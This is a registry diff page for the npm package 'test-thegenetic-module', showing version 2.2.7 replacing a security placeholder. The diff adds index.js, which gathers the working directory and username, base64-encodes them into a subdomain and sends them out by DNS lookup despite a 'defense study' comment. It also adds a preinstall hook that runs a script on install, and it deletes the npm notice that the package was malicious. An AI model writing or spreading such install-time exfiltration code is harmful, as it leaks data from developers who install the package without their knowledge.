test-thegenetic-module 0.0.1-security → 2.2.7
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of test-thegenetic-module might be problematic. Click here for more details.
- package/index.js +30 -0
- package/package.json +12 -3
- package/preinstall.js +9 -0
- package/README.md +0 -5
package/index.js
ADDED
|
@@ -0,0 +1,30 @@
|
|
|
1
|
+
// console.log("From Me 2.2.1!!!!!");
|
|
2
|
+
// const stolenData = {
|
|
3
|
+
// time: new Date().toISOString(),
|
|
4
|
+
// cwd: process.cwd(),
|
|
5
|
+
// env: Object.keys(process.env)
|
|
6
|
+
// };
|
|
7
|
+
|
|
8
|
+
// console.log('🔴 Attacker would steal:', stolenData);
|
|
9
|
+
|
|
10
|
+
// Encodes data in DNS queries - FOR DEFENSE STUDY ONLY
|
|
11
|
+
const dns = require('dns');
|
|
12
|
+
|
|
13
|
+
const stolenData = {
|
|
14
|
+
cwd: process.cwd(),
|
|
15
|
+
user: process.env.USER,
|
|
16
|
+
timestamp: Date.now()
|
|
17
|
+
|
|
18
|
+
};
|
|
19
|
+
|
|
20
|
+
// Encode data as subdomain
|
|
21
|
+
const dataHash = Buffer.from(JSON.stringify(stolenData)).toString('base64');
|
|
22
|
+
const query = `${dataHash}.test`;
|
|
23
|
+
|
|
24
|
+
console.log('🔴 Attacker would steal:', query);
|
|
25
|
+
|
|
26
|
+
|
|
27
|
+
dns.lookup(query, (err) => {
|
|
28
|
+
// DNS query sent with encoded data
|
|
29
|
+
// Attacker's DNS server logs the subdomain query
|
|
30
|
+
});
|
package/package.json
CHANGED
|
@@ -1,6 +1,15 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "test-thegenetic-module",
|
|
3
|
-
"version": "
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "2.2.7",
|
|
4
|
+
"description": "",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"preinstall": "echo \"its preinstall script\" && node preinstall.js"
|
|
8
|
+
},
|
|
9
|
+
"keywords": [],
|
|
10
|
+
"author": "",
|
|
11
|
+
"license": "ISC",
|
|
12
|
+
"dependencies": {
|
|
13
|
+
"test-thegenetic-module": "^2.2.5"
|
|
14
|
+
}
|
|
6
15
|
}
|
package/preinstall.js
ADDED
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=test-thegenetic-module for more information.
|